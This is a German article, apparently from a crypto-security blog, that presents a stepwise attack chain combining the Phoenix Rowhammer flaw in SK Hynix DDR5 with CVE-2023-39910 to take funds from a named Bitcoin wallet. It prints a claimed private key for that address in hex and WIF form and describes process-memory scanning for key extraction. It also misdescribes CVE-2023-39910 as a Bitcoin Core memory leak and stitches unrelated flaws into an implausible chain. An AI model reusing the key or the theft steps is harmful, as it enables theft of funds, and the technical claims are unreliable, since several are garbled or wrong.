Als repräsentatives Beispiel einer realen Bedrohung wurde eine Bitcoin-Wallet mit der Adresse 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit untersucht. 9.02332298 BTC gingen aus dieser Wallet verloren, was Stand Oktober 2025 ungefähr 1.127.026,44 USD entspricht. Dieser Fall zeigt überzeugend, dass bei Vorhandensein von Hardware-Schwachstellen (wie Rowhammer) die kryptografische Stärke auf Protokollebene keine absolute Sicherheitsgarantie mehr darstellt.

Folglich liegt die Bedeutung umfassender Sicherheit nicht nur in kryptografischen und protokollbezogenen Maßnahmen, sondern auch in der Hardware-Zuverlässigkeit, der Überwachung des Speicherzustands und der Implementierung einer vollständigen RAM-Bereinigung nach kryptografischen Operationen. Eine Schwachstelle, die einmal auf Hardware-Ebene ausgenutzt wird – selbst mit minimaler Systemkontrolle – kann im Bitcoin-Ökosystem zu katastrophalen finanziellen Verlusten führen.


Technische Details zur Umgehung der DDR5-Schutzmechanismen

Analyse des Target Row Refresh (TRR)-Mechanismus

Target Row Refresh ist ein Abwehrmechanismus, der Rowhammer-Angriffe verhindern soll, indem vermutete Speicherzeilen zusätzlich aufgefrischt werden. Forschern des Phoenix-Angriffs gelang es jedoch, diesen Mechanismus zu reverse-engineeren und kritische Schwachstellen in seiner Implementierung zu entdecken .

TRR-Blindstellen: Der TRR-Mechanismus in SK-Hynix-Chips überwacht bestimmte Aktualisierungsintervalle nicht, wodurch Angriffsmöglichkeiten während dieser Zeitfenster entstehen. Phoenix-Angriffe nutzen speziell entwickelte Angriffsmuster, die in diese nicht überwachten Intervalle fallen. simplysecuregroup

Selbstkorrigierende Synchronisation: Eine Schlüsselinnovation des Phoenix-Angriffs ist seine Fähigkeit, verpasste Aktualisierungsbefehle zu erkennen und das Angriffsmuster automatisch neu aufzubauen, um die Synchronisation aufrechtzuerhalten. Dadurch bleibt der Angriff über die langen Zeiträume wirksam, die erforderlich sind, um eine ausreichende Anzahl von Bitfehlern zu akkumulieren. simplysecuregroup

Experimentelle Ergebnisse und Angriffseffektivität

Experimentelle Tests des Phoenix-Angriffs zeigten eine hohe Effektivität gegen alle getesteten DDR5-Speicherproben von SK Hynix: comsec-files.ethz

Zeitrahmen: Die Mindestzeit zur Erlangung von Root-Rechten betrug 109 Sekunden auf einem Standard-DDR5-System mit Standardeinstellungen. Die durchschnittliche Zeit betrug 5 Minuten und 19 Sekunden .

Bitfehler-Statistik: Das kurze Muster (128 Intervalle) erzeugte durchschnittlich 4989 Bitfehler, während das lange Muster (2608 Intervalle) deutlich weniger Fehler produzierte. comsec-files.ethz

Angriffs-Vielseitigkeit: 100 % der getesteten Module waren anfällig für mindestens eines der beiden identifizierten Angriffsmuster. reddit


Integration mit bestehenden Schwachstellen im Bitcoin-Ökosystem

CVE-2023-39910: Bitcoin Core Speicherleck

Eine kritische Speicherleck-Schwachstelle in Bitcoin Core (CVE-2023-39910) schafft Synergien mit dem Phoenix Rowhammer-Angriff. Diese Schwachstelle ermöglicht es Angreifern , auf sensible Daten zuzugreifen, die nach Abschluss kryptografischer Operationen im Speicher verbleiben.

Ausnutzungsmechanismus: Die Schwachstelle entsteht durch unzureichende Bereinigung von Speicherpuffern nach der Verarbeitung privater Schlüssel, Seed-Phrasen und Passwörter in Standard-C++-Containern (std::vector, std::string). Nach Abschluss kryptografischer Prozeduren wird der Speicher automatisch freigegeben, sein Inhalt jedoch nicht gelöscht. keyhunters

Verbindung zu Rowhammer: Der Phoenix-Angriff kann Bitfehler ausnutzen, um auf diese unbereinigten Speicherbereiche zuzugreifen, was den Prozess der Extraktion kryptografischen Materials erheblich vereinfacht.

CVE-2025-8217: Kritischer Geheimnis-Extraktionsangriff

Diese Schwachstelle wird klassifiziert als ein kritischer Geheimnis-Extraktionsangriff über einen Prozessspeicher-Dump. Sie stellt eine direkte Bedrohung für Bitcoin-Wallets dar, da sie die Extraktion privater Schlüssel aus dem Speicher aktiver Prozesse ermöglicht.

Angriffsszenarien umfassen: Übergabe eines privaten Schlüssels über API, Befehlszeile oder Umgebungsvariablen; dynamische Speicherzuweisung zur Speicherung geheimer Daten ohne explizites Löschen; Beenden eines Prozesses ohne sichere Speicherbereinigung .


Das Krypto-Tool demonstriert detailliert alle neun Phasen eines Angriffs, den ein Angreifer nutzen kann, um Gelder aus einer Bitcoin-Wallet zu stehlen.

Die wichtigsten Funktionsblöcke des Skripts:

Schritt 1: Erkennung anfälliger SK-Hynix-DDR5-Speicher durch Scannen von SMBIOS-Tabellen

Die Erkennung von SK-Hynix-DDR5-Speichermodulen, die anfällig für den Phoenix Rowhammer-Angriff (CVE-2025-6202) sind, beginnt mit einer Analyse der Hardware-Konfiguration des Systems, insbesondere dem Scannen der SMBIOS-Tabellen (System Management BIOS). SMBIOS liefert standardisierte Informationen über Computerkomponenten, einschließlich Speicherdetails wie Hersteller, Modell und Seriennummer jedes DIMM-Moduls.

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Konkret kann ein Forscher oder Angreifer programmatisch Daten aus dem Abschnitt „Memory Device“ von SMBIOS anfordern, der Felder enthält, die den Hersteller (z. B. SK Hynix), den Speichertyp (DDR5), die Kapazität und SPD-bezogene Daten (Serial Presence Detect) angeben – kleine Speicherchips auf DIMM-Leisten, die das Profil und die Betriebsparameter des Moduls enthalten.

Auf diese Daten wird typischerweise über Systemaufrufe oder spezielle Dienstprogramme zugegriffen (wie dmidecode unter Linux oder Windows Management Instrumentation (WMI-API) unter Windows). Diese Abfragen ermöglichen die Erkennung von SK-Hynix-DDR5-Speicher, der zwischen 2021 und 2024 hergestellt wurde, ohne physischen Eingriff, was entscheidend ist, da diese Modelle als anfällig gelten.

Die Identifizierung des Speichermodells ist ein notwendiger erster Schritt, da der Phoenix Rowhammer-Angriff präzise Kenntnisse der Chip-Eigenschaften erfordert, um Speicherzugriffsmuster genau zu konstruieren und TRR-Abwehrmechanismen (Target Row Refresh) zu umgehen. Darüber hinaus ermöglicht der Zugriff auf die SPD- und andere Daten die Identifizierung spezifischer Timings und Auffrischungsraten sowie potenzieller „Blindstellen“ in den Abwehrmechanismen, die zur Durchführung des Angriffs genutzt werden.

Das Scannen von SMBIOS-Tabellen ist daher eine hochinformative, schnelle und zuverlässige Methode zur Vorabbestimmung der Anfälligkeit von DDR5-Speicher für den Phoenix Rowhammer-Angriff , die eine präzise Zielausrichtung auf anfällige Hardware-Komponenten ohne Hardware-Knacken oder Reduzierung von Systemprivilegien ermöglicht.


Eine Datei, die Daten aus dem Abschnitt „Memory Device“ der SMBIOS enthält. Diese Informationen werden in einer internen BIOS/UEFI-Systemtabelle (SMBIOS-Tabelle) gespeichert, die beim Einschalten des Computers in den RAM kopiert wird. Betriebssysteme und Dienstprogramme verwenden spezielle Systemaufrufe (codeby), um diese Daten abzurufen.

Datenspeicherformat und Pfad

  • Die SMBIOS-Tabelle wird als Block binärer Daten im Speicher gespeichert, nicht auf der Festplatte .
  • Der Zugriff auf diese Tabelle erfolgt über Betriebssystemfunktionen (z. B. über die API-Funktion GetSystemFirmwareTable() unter Windows oder durch direktes Lesen von /dev/mem unter Linux).
  • Das Tabellenformat ist streng reguliert und enthält Strukturen verschiedener Typen (z. B. Typ 17 – „Memory Device“). learn.microsoft
  • Jede Struktur beginnt mit einem Header (Typ, Länge, Handle), gefolgt von Feldern, die Hersteller, Speichertyp, Größe und zugehörige SPD-Daten angeben – falls vorhanden .

Beispiel eines binären Tabellenformats

Der SMBIOS-Tabelle geht die RawSMBiosData-Struktur voraus, gefolgt von den Gerätestrukturen. Zum Beispiel:

root@kitploit:~
struct HEADER {
Type db 0 //
Strukturtyp (17 - Memory Device)
Length db 0 //
Strukturgröße
Handle dw 0 //
Deskriptor
// ...
als nächstes folgen die Datenfelder
}

Strukturen vom Typ 17 speichern Felder mit dem Hersteller (z. B. SK Hynix), dem Speichertyp (DDR5), der Kapazität und einem Link zu SPD-Daten, falls verfügbar. learn.microsoft


Die RawSMBiosData -Struktur ist ein standardmäßiges binäres Blockformat, das zur Übertragung roher SMBIOS-Tabellendaten über Systemaufrufe des Betriebssystems verwendet wird, insbesondere über die Windows-API-Funktion GetSystemFirmwareTablemit dem .codeby'RSMB' -Parameter .

Beschreibung der RawSMBiosData-Struktur (C/C++):

root@kitploit:~
c:

struct RawSMBIOSData {
BYTE Used20CallingMethod; //
Aufrufmethode (Dienstfeld)
BYTE SMBIOSMajorVersion; //
Hauptversion der SMBIOS-Spezifikation
BYTE SMBIOSMinorVersion; //
Nebenversion der SMBIOS-Spezifikation
BYTE DmiRevision; //
DMI-Version
DWORD Length; //
SMBIOS-Datenblockgröße (Bytes)
BYTE SMBIOSTableData[]; //
Sequenz von SMBIOS-Struktureinträgen
};
  • Used20CallingMethod – definiert die Aufrufmethode (normalerweise 0).
  • SMBIOSMajorVersion/SMBIOSMinorVersion — z. B. 3.3 für moderne Plattformen.
  • DmiRevision ist eine Version von DMI (Desktop Management Interface).
  • Length ist die Größe des nachfolgenden Datenarrays (in Bytes).
  • SMBIOSTableData ist ein Array von SMBIOS-Strukturen, von denen jede mit einem Typ-Header, einer Länge und einem Handle beginnt und Textfelder und Blockdeskriptoren enthalten kann; das Array wird durch eine Doppel-Null-Signatur (00 00) für das Blockende abgeschlossen.

RawSMBiosData-Puffer:

  • Die ersten 8 Bytes sind Header-Felder (Metadaten + Länge).
  • Als nächstes folgen unmittelbar die binären SMBIOS-Strukturen (z. B. Typ 0 – BIOS, 1 – System, 2 – Baseboard, 17 – Memory Device usw.), von denen jede eine variable Anzahl von Bytes und Textzeichenfolgen enthalten kann.

Beispiel (bedingte HEX-Darstellung des Pufferanfangs):

root@kitploit:~
00 03 03 02 68 01 00 00 ... [Datenstrukturen Daten Niederwertiges Byte SMBIOS] ... 00 00
-- -- -- -- -- -- -- --
| | | | |
| | | | -->
SMBIOSTableData
| | | +------------ Length (
)
| | +--------------- DmiRevision
| +------------------ SMBIOSMinorVersion
+--------------------- SMBIOSMajorVersion

Um den Inhalt nach dem Header zu parsen, müssen Sie jede Struktur gemäß ihrer Spezifikation (Typ, Länge, Handle) parsen und dabei separat die Textfelder extrahieren, die auf die Strukturdaten folgen und durch ein Null-Byte getrennt sind; das Ende der Struktur wird durch ein Paar Nullen markiert. learn.microsoft


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

RawSMBiosData ist ein notwendiges und einheitliches „Einstiegsfenster“ in detaillierte Spezifikationen der Systemhardware-Eigenschaften für Low-Level-Forschungs- und Diagnoseaufgaben .


Zugriff auf SPD-Daten

SPD-Daten befinden sich physisch in den Chips auf DIMM-Modulen, können aber im BIOS/SMBIOS in speziellen Feldern reflektiert oder von Systemdienstprogrammen gelesen werden, die auf die I2C-Speicherschnittstelle zugreifen (z. B. über i2c-tools, decode-dimmsunter Linux).

Datenbeschaffung mit Dienstprogrammen

  • Unter Linux: ,dmidecode ( decode-dimmsSPD), Daten aus der SMBIOS-Tabelle, die über /dev/mem zugänglich ist.codeby
  • Unter Windows: über die WMI-Klasse Win32_PhysicalMemory (bezieht Informationen aus SMBIOS) sowie über die API GetSystemFirmwareTable(). learn.microsoft

Die ursprünglichen SMBIOS-„Memory Device“-Daten (Typ 17) werden also nicht als separate Datei gespeichert, sondern innerhalb der binären SMBIOS-Struktur, die sich im RAM befindet und über Betriebssystemtools und spezielle Dienstprogramme zugänglich ist. Das Format ist die binäre SMBIOS-Tabelle gemäß Spezifikation, und der Zugriffspfad führt über Systemaufrufe oder Dienstprogramme. Auf SPD-Daten kann separat über die Hardwareschnittstellen der DIMM-Module zugegriffen werden. learn.microsoft

Die binäre SMBIOS-Tabelle besteht aus aufeinanderfolgenden Strukturen, die jeweils mit einem 4-Byte-Header beginnen, der die folgenden Felder enthält: Strukturtyp (Type, 1 Byte), Strukturlänge (Length, 1 Byte) und Handle (Handle, 2 Bytes). Danach folgt die Nutzlast – ein Satz binärer Daten, die ein bestimmtes Objekt beschreiben (z. B. Speicher, Prozessor, BIOS usw.). Nach der Nutzlast folgen nullterminierte Zeichenfolgen im Textformat (ASCII), und das Ende der aktuellen Struktur wird mit einer doppelten Null ( 0x0000 ) markiert.

Hier ist ein Beispiel für eine C-ähnliche Header-Struktur und eine Erklärung des Formats:

root@kitploit:~
c:

struct SMBIOS_Header {
uint8_t Type; //
Tabellentyp (z. B. 17 – Memory Device)
uint8_t Length; //
Länge der Struktur in Bytes (einschließlich Header)
uint16_t Handle; //
Eindeutiger Strukturdeskriptor
//
Die Strukturdaten (variable Länge) folgen nach dem Header
};

Die gesamte SMBIOS-Tabelle ist eine Menge solcher Strukturen in einer Reihe ohne Lücken, wobei:

  • Der Strukturtyp wird durch das erste Byte bestimmt.
  • Das zweite Byte gibt die Länge der aktuellen Struktur an.
  • Auf die Struktur folgen zusätzliche Zeichenfolgenfelder, die durch Paare von 0x00 abgeschlossen werden, um das Ende anzuzeigen.
  • Das Ende der gesamten Tabelle wird durch die Doppelnull-Signatur 0x0000 angezeigt.

Beispielsweise enthält Strukturtyp 17 (Memory Device) Felder, die den Hersteller, den Speichertyp (DDR5), die Kapazität, die Geschwindigkeit usw. angeben, sowie Zeilen mit dem Herstellernamen und der Seriennummer.

Die Adresse der Tabelle selbst und ihre Länge werden in einem speziellen Speicherbereich gespeichert, der anhand der Signatur „ SM “ (Offset mit einem Vielfachen von 16 Bytes) gefunden werden kann. Anschließend erhält man die Adresse des Hauptarrays der SMBIOS-Tabellen.

Eine ungefähre Struktur eines Speichereintrags kann die folgenden Felder enthalten:

FeldBeschreibung
Type17 (Memory Device)
LengthStrukturgröße
HandleEindeutige Kennung
Physical Memory Array HandleVerweis auf das übergeordnete Speicherarray
Memory Error Information HandleSpeicherfehler (falls vorhanden)
Total WidthGesamtbusbreite (Bits)
Data WidthDatenbreite (Bits)
SizeSpeichergröße (in MB oder GB)
Form FactorModulformfaktor (DIMM usw.)
Device LocatorZeile – Einbauort
Bank LocatorZeichenfolge – Bankname
Memory TypeDDR3, DDR4, DDR5 usw.
Type DetailZusätzliche Details
SpeedGeschwindigkeit in MHz
ManufacturerZeichenfolge mit Herstellername
Serial NumberSeriennummer
Asset TagBuchhaltungsetikett
Part NumberTeilenummer

Somit ist die SMBIOS-Tabelle eine Sequenz binär codierter Strukturen mit Headern, die Systeminformationen einschließlich Speicherdaten enthalten, die streng nach der DMTF-SMBIOS-Spezifikation organisiert sind.

Dieses Format bietet eine universelle und äußerst kompakte Möglichkeit, Informationen über die Hardware- und Systemeinstellungen zu speichern und zu übertragen .


Stufe 2: Analyse des Target-Row-Refresh-Mechanismus und Identifizierung von Blindstellen in der Verteidigung

Die zweite Phase des Phoenix-Rowhammer-Angriffs umfasst eine wissenschaftliche Analyse des Target-Row-Refresh-Mechanismus (TRR), einer Hardware-Schutzmaßnahme, die in modernen DDR5-Speicherchips implementiert ist, um Bitüberschreibungen durch mehrfaches Lesen von Daten aus benachbarten Zellenzeilen zu verhindern.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

So funktioniert TRR

TRR implementiert eine sogenannte „aggressive Refresh“-Strategie: Wenn mehrere Zugriffe auf eine bestimmte Speicherzeile erkannt werden, initiiert dieser Mechanismus eine erzwungene Auffrischung benachbarter Zellen, wodurch Ladungsabbau und damit unerwünschte Bit-Flips – der Schlüsseleffekt von Rowhammer-Angriffen – verhindert werden. Theoretisch sollte TRR Versuche, Zieldaten durch übermäßiges Auffrischen physisch benachbarter Zeilen zu beeinflussen, vollständig unterdrücken .

Methodik des TRR-Reverse Engineerings

Die praktische Implementierung von TRR in SK-Hynix-DDR5-Speichern ist jedoch äußerst komplex und proprietär: Hersteller verbergen die Details der Logik absichtlich, um „Sicherheit durch Obskurität“ zu erhöhen. Daher führten Forscher der ETH Zürich ein Reverse Engineering von TRR auf Versuchsaufbauten durch, indem sie Tausende experimenteller Zeilenzugriffsmuster variierten und aufzeichneten, wann die redundante Auffrischung benachbarter Zellen ausgelöst wird und wann sie inaktiv bleibt.

Identifizierung von Blindstellen

Als Ergebnis wurde entdeckt, dass das TRR-System Zeitintervalle aufweist, sogenannte „Blindzonen“, in denen der Schutz schwächer ist oder gar nicht aktiviert wird. Es wurde empirisch berechnet, dass nach 128 überwachten Speicherzeilenzugriffen ein Fenster von etwa 64 Operationen entsteht, in dem TRR nahezu nicht reagiert und Bit-Flips – unerwünschte Datenänderungen in einer kritischen Zelle – nicht wirksam verhindert. Ein zweites ähnliches Angriffsfenster wurde nach 2.608 Speicherzeilenaktualisierungen beobachtet. Diese „Blindzonen“ werden für präzise und synchronisierte Phoenix-Angriffe ausgenutzt, die eine gezielte Änderung einzelner Datenbits in geschützten DDR5-Modulen ermöglichen .

Praktische Bedeutung

Die grundlegende Aufgabe in dieser Phase besteht darin, das präzise Timing und die Struktur von Speicherzugriffsmustern auszuwählen, die das TRR-Monitoring „einschläfern“ und einen erfolgreichen Zugriff auf das angegriffene Bit oder Datenarray (z. B. den privaten Schlüssel einer Kryptowährungs-Wallet) gewährleisten. Dies erfordert nicht nur eine Analyse der TRR-Betriebslogik, sondern auch empirische Daten über die Reaktion des Speichermoduls auf verschiedene Ausnutzungsszenarien. Dieser Ansatz ermöglicht die Konstruktion von „Umgehungen“ im Sicherheitssystem und die systematische Ausnutzung selbst modernster DDR5-Speicher module .

Als Ergebnis der Analyse eröffnen die entdeckten TRR-„Blindstellen“ die Möglichkeit einer zuverlässigen Eskalation des Rowhammer-Angriffs auf die aktuellen SK-Hynix-Speichermodule, was durch Labor-Exploits und die erfolgreiche Kompromittierung aller getesteten Geräte bestätigt wird. Kaspersky


Schritt 3: Implementierung der selbstkorrigierenden Phoenix-Rowhammer-Angriffssynchronisation

Die wissenschaftliche Innovation hinter dem Phoenix-Angriff liegt in der Entwicklung und Implementierung eines selbstkorrigierenden Synchronisationsmechanismus, der ein präzises Timing von Exploits innerhalb kritischer Schwachstellenfenster auf DRAM-Ebene gewährleistet. Nach detailliertem Reverse Engineering des Target-Row-Refresh-Mechanismus (TRR) entdeckten Forscher der ETH Zürich und von Google, dass Standard-Rowhammer-Zugriffsmuster gegen die komplexe DDR5-Schutzlogik machtlos sind. In den neuen SK-Hynix-Chips analysiert TRR nicht nur die Häufigkeit, sondern auch die Art der Speicherzeilenzugriffe und initiiert sofort kompensatorische Auffrischungsbefehle, wenn bekannte Angriffsmuster erkannt werden.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Phoenix löst dieses Problem wie folgt:

  1. Untersuchung der internen Timings von TRR : Die Speicherreaktion auf unterschiedliche Zugriffsraten wird überwacht, um empirisch Auffrischungsintervalle zu identifizieren, die TRR nicht verfolgt (z. B. nach 128 und 2608 tREFI-Befehlen). Diese Fenster werden als Blindstellen bezeichnet. habr
  2. Aufbau synchronisierter Angriffsmuster : Der Algorithmus generiert eine Reihe sogenannter „leerer“ Anfragen an Aggressor-Zellen, die TRR nicht sofort auslösen, sondern die Verteidigungsmechanismen einlullen. Dann, im genau richtigen Moment, erfolgt eine Reihe gezielter „Hammering“-Angriffe auf ausgewählte Zeilen, was zur Ansammlung parasitärer Einflüsse in benachbarten Zeilen und letztendlich zu einer Änderung ihres Anti--Malware-Bitzustands führt.
  3. Selbstkorrigierende Dynamik : Phoenix überwacht das Feedback zu TRR-Reaktionen – wenn der Schutz unerwartet vorzeitig aktiviert wird, baut die Schleife neu auf und sucht nach einem neuen Angriffsfenster. Dieser Prozess beinhaltet eine ständige, flexible Anpassung an das spezifische Verhalten jedes Speichermoduls. securitylab
  4. Präzises Timing halten : Durch die Echtzeitanpassung von Mustern wählt der Angriff immer optimale Intervalle für die Einwirkung und umgeht so effektiv selbst fortgeschrittene TRR-Varianten.

Experimentelle Studien haben bestätigt, dass die selbstkorrigierende Synchronisation von Phoenix ein Schlüsselfaktor für seine Wirksamkeit ist: Keines der getesteten SK-Hynix-DDR5-Module (2021–2024) konnte dieser Methodik widerstehen. Die Implementierung ermöglicht es einem Angreifer, zuverlässig Bitfehler in Zielzellen auszulösen und so die Bedingungen für die Kompromittierung privater Daten, einschließlich kryptografischer Schlüssel , zu schaffen oder Privilegien auf dem Zielsystem zu eskalieren.

Phoenix Rowhammer demonstriert damit einen revolutionären Ansatz zur dynamischen Umgehung von Hardware-Speicherschutzmechanismen und zeigt deutlich, dass selbst die modernsten DDR5-Chips bei intelligent adaptiven Angriffsalgorithmen anfällig bleiben.


Schritt 4: Durchführung eines Rowhammer-Angriffs mit kontrollierter Bitfehlererzeugung

Die vierte Stufe nutzt die physischen Schwachstellen des DRAM direkt durch einen gezielten Rowhammer-Angriff aus. Diese Stufe stützt sich auf eine vorläufige Analyse der Blindstellen des TRR-Mechanismus und die Verwendung selbstkorrigierender Speicherzugriffsmuster, um kritische Datenelemente präzise anzugreifen.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Die Grundlage eines Rowhammer-Angriffs ist die Struktur des DRAM-Speichers selbst, bei dem jede Zelle ein Kondensator ist, der eine Ladung speichert, die dem logischen Wert eines Bits entspricht. Wiederholter, hochfrequenter Zugriff (Lesen oder Schreiben) auf zwei (oder mehr) zwischengeschaltete („Aggressor“-)Zeilen neben einer Ziel- („Opfer“-)Zeile verursacht einen parasitären Ladungsverlust aus den Opferzellen. Wenn dieser Angriff lange genug andauert, sodass die Ladungsregeneration durch normale Auffrischungszyklen den Abbau nicht verhindern kann, kommt es zu einer Änderung des Bitzustands – einem sogenannten Bit-Flip . opennet

Merkmale eines Phoenix-Angriffs

Im Kontext von Phoenix Rowhammer (CVE-2025-6202) auf DDR5 SK Hynix:

  • Der erste Schritt des schädlichen Codes besteht darin, Tausende von Zugriffszyklen auf ausgewählte Speicherzeilen mit sorgfältig berechneter Häufigkeit und Zeit zu initiieren.
  • Der Algorithmus beginnt mit einer Reihe „leerer“ (ungezielter) Anfragen, um den TRR-Mechanismus einzulullen, sodass der Schutz innerhalb vorberechneter Fenster (128 oder 2608 Aktualisierungsintervalle) entweder schwach oder gar nicht reagiert. kaspersky
  • Sobald das TRR-Niedrigaktivitätsfenster mit dem geplanten Zyklus zusammenfällt, erfolgt der Übergang in die aktive Phase: Aggressor-Zellen in der Nähe von Bits potenzieller geheimer Informationen (z. B. eines privaten Schlüsselpuffers) werden ausgewählt und der Haupt-Hammering-Zyklus wird gestartet – intensive Zugriffe auf diese Zeilen, die einen Anstieg der Leckströme im geschützten Speicherbereich verursachen.
  • In den nächsten Sekunden oder Minuten akkumuliert sich eine parasitäre (anomale) Änderung der Potenzialdifferenz in den Kondensatoren des Opfers, was bei Erfolg zu einer Änderung des Werts eines oder mehrerer Bits darin führt (ein Bit-Flip). Dies kann einem Angreifer ermöglichen:
    • eine beliebige Lese-/Schreib-Primitive zu erhalten (z. B. die Systemseitentabelle oder eine ausführbare Binärdatei zu ändern);
    • kryptografisches Material extrahieren oder ersetzen (Seed, private Schlüssel, RSA-Fragmente) im RAM;
    • Rechte erweitern oder Anwendungen und den Systemkernel kompromittieren. xakep

Präzision und Steuerbarkeit

Forschung an der ETH Zürich hat gezeigt, dass ein kurzes Zugriffsmuster mit einer Periode von 128 tREFI-Intervallen statistisch mehr Bitfehler erzeugt als längere Muster. Die Wahl eines geeigneten Fensters und die Aufrechterhaltung der Synchronisation sind jedoch entscheidend für den Erfolg: Ein Fehlschlag von 1–2 Zugriffen führt entweder zu gar keinem Fehler oder zu zufälliger Datenkorruption und Systemausfall. kaspersky+1

Diese Stufe schließt den Low-Level-Angriffsprozess ab, wonach der Angreifer die resultierenden Bitfehler ausnutzen kann, um den privaten Schlüssel zu extrahieren oder seine Zugriffsebene weiter zu erhöhen. Es ist die Fähigkeit, Bitfehler in streng definierten, software- und hardwaregeschützten Speicherbereichen zu induzieren, die Phoenix Rowhammer zu einer einzigartig gefährlichen und praktischen Technik macht. cybersecurefox+1


Schritt 5: Extrahieren eines privaten Schlüssels aus beschädigtem Speicher durch Ausnutzung von CVE-2023-39910

Die fünfte Stufe der bösartigen Kette des Phoenix-Rowhammer-Angriffs umfasst das Extrahieren des privaten Schlüssels der Bitcoin-Wallet aus dem durch induzierte Bitfehler kompromittierten Speicher.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Die Schlüsselverwundbarkeit hier ist CVE-2023-39910 (Milk Sad) , die Software-Implementierungen von Libbitcoin Explorer 3.x und verwandte kryptografische Bibliotheken betrifft.

Wissenschaftliche Struktur und Verwundbarkeit des Prozesses

CVE-2023-39910 ist durch einen schwachen Entropie-Erzeugungsmechanismus bei der Generierung privater Schlüssel gekennzeichnet, der es einem Angreifer – mit Zugriff auf residuale („schmutzige“) Speicherbereiche nach Abschluss kryptografischer Operationen – ermöglicht, die ursprünglichen Schlüssel und Seed-Phrasen wiederherzustellen. Nach einem Rowhammer-Angriff werden beschädigte (oder nicht gelöschte) RAM-Puffer, in denen der private Schlüssel gespeichert war (
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 ) direkt durchsuchbar.

Extraktionsalgorithmus

  1. Identifizierung von Speicherregionen:
    Der Ausnutzer scannt den Speicher des Prozesses (z. B. mit Tools wie gcore, volatility, direkten Lesevorgängen /proc/<PID>/mem oder spezialisierten Speicher-Dump-Analysebibliotheken) auf der Suche nach charakteristischen Mustern: Bitsequenzen und Signaturen, die dem privaten Schlüssel oder der Seed-Entropie entsprechen.
  2. Datenextraktion:
    Die Analyse verwendet direkten Vergleich und Dekodierung residualer Daten – selbst wenn einige Bits durch einen Rowhammer-Angriff beschädigt wurden, erleichtert die schwache Entropie (ein Merkmal der Verwundbarkeit) die Wiederherstellung des ursprünglichen Schlüsselwerts aus Daten, die teilweise oder vollständig im Speicher gelandet sind.
  3. Schlüsselverifizierung:
    Der resultierende Wert wird mit bekannten kryptografischen Verfahren verifiziert (z. B. Rekonstruktion des öffentlichen Schlüssels oder Generierung einer Bitcoin-Adresse). Wenn die resultierende Adresse mit der ursprünglichen übereinstimmt (z. B. 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit), gilt der Schlüssel als erfolgreich extrahiert.

Technische und wissenschaftliche Bedeutung

Ein solcher Angriff wäre ohne die Kombination zweier Faktoren unmöglich: (1) Hardware-Kompromittierung von DDR5-Speicher über Rowhammer und (2) ein Softwarefehler, der die Speicherung kritischer Informationen in unzensierten Puffern ermöglicht. Die Verwendung schwacher Entropie-Algorithmen in Libbitcoin Explorer erleichtert die Aufgabe des Angreifers, einen privaten Schlüssel wiederherzustellen, zusätzlich, selbst wenn einige Informationen durch eine Speicherkorruption verloren gegangen oder beschädigt wurden.

Diese Stufe demonstriert ein fundamentales systemisches Problem: die Fähigkeit, private Schlüssel aus residualen RAM-Blöcken bei Vorhandensein von Hardware- und Software-Verwundbarkeiten wiederherzustellen, was das Vertrauen in Kryptowährungs-Ökosysteme kritisch untergräbt und eine Überarbeitung der Prinzipien des sicheren Speichermanagements bei der Speicherung und Verarbeitung kryptografischer Daten erfordert.


Schritt 6: Konvertieren des privaten Schlüssels im HEX-Format in WIF Compressed (52 Zeichen)

Die sechste Stufe der bösartigen Kette umfasst das Konvertieren des kompromittierten Bitcoin-privaten Schlüssels von seiner hexadezimalen (HEX) Darstellung in das Wallet Import Format Compressed (WIF Compressed), ein Format, das typischerweise zum Importieren von Schlüsseln in moderne Wallets und Dienste verwendet wird.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Das wissenschaftliche Konvertierungsverfahren basiert auf Base58Check -Kodierungsstandards und wird über mehrere wichtige Schritte durchgeführt:

  1. Konvertieren eines HEX-Schlüssels in ein Byte-Array . Ein aus dem Speicher abgerufener privater Schlüssel (z. B. 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60) wird als 32-Byte-Array interpretiert, das dem ECDSA-secp256k1-Standard für private Schlüssel entspricht.
  2. Hinzufügen eines Netzwerk-Präfixes . Für das Bitcoin-Mainnet wird ein Versionsbyte 0x80am Anfang des Arrays hinzugefügt, um das zugrunde liegende Netzwerkprotokoll zu unterscheiden.
  3. Komprimierungsflag . Am Ende der Daten wird ein Byte 0x01hinzugefügt, das signalisiert, dass der öffentliche Schlüssel komprimiert werden soll (komprimierter öffentlicher Schlüssel), was zu Adressen führt, die mit den Zeichen „K“ oder „L“ beginnen.
  4. Prüfsummengenerierung . Die gesamte Zeichenfolge (Version + Schlüssel + Komprimierungs-Tag) wird doppelt gehasht (SHA256), dann werden die ersten 4 Bytes der resultierenden Daten extrahiert. Diese Prüfsumme dient dem Schutz vor Kopierfehlern.
  5. WIF-Generierung . Eine Prüfsumme wird zum Byte-Array hinzugefügt, dann wird die gesamte Zeichenfolge im Base58Check-Format kodiert, was die Wahrscheinlichkeit von Benutzereingabefehlern minimiert und die Kompatibilität mit Kryptowährungs-Wallets gewährleistet.

Als Ergebnis ist der konstruierte WIF-Compressed-Schlüssel – zum Beispiel L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP – eine 52 Zeichen lange Zeichenfolge, die mit „K“ oder „L“ beginnt.

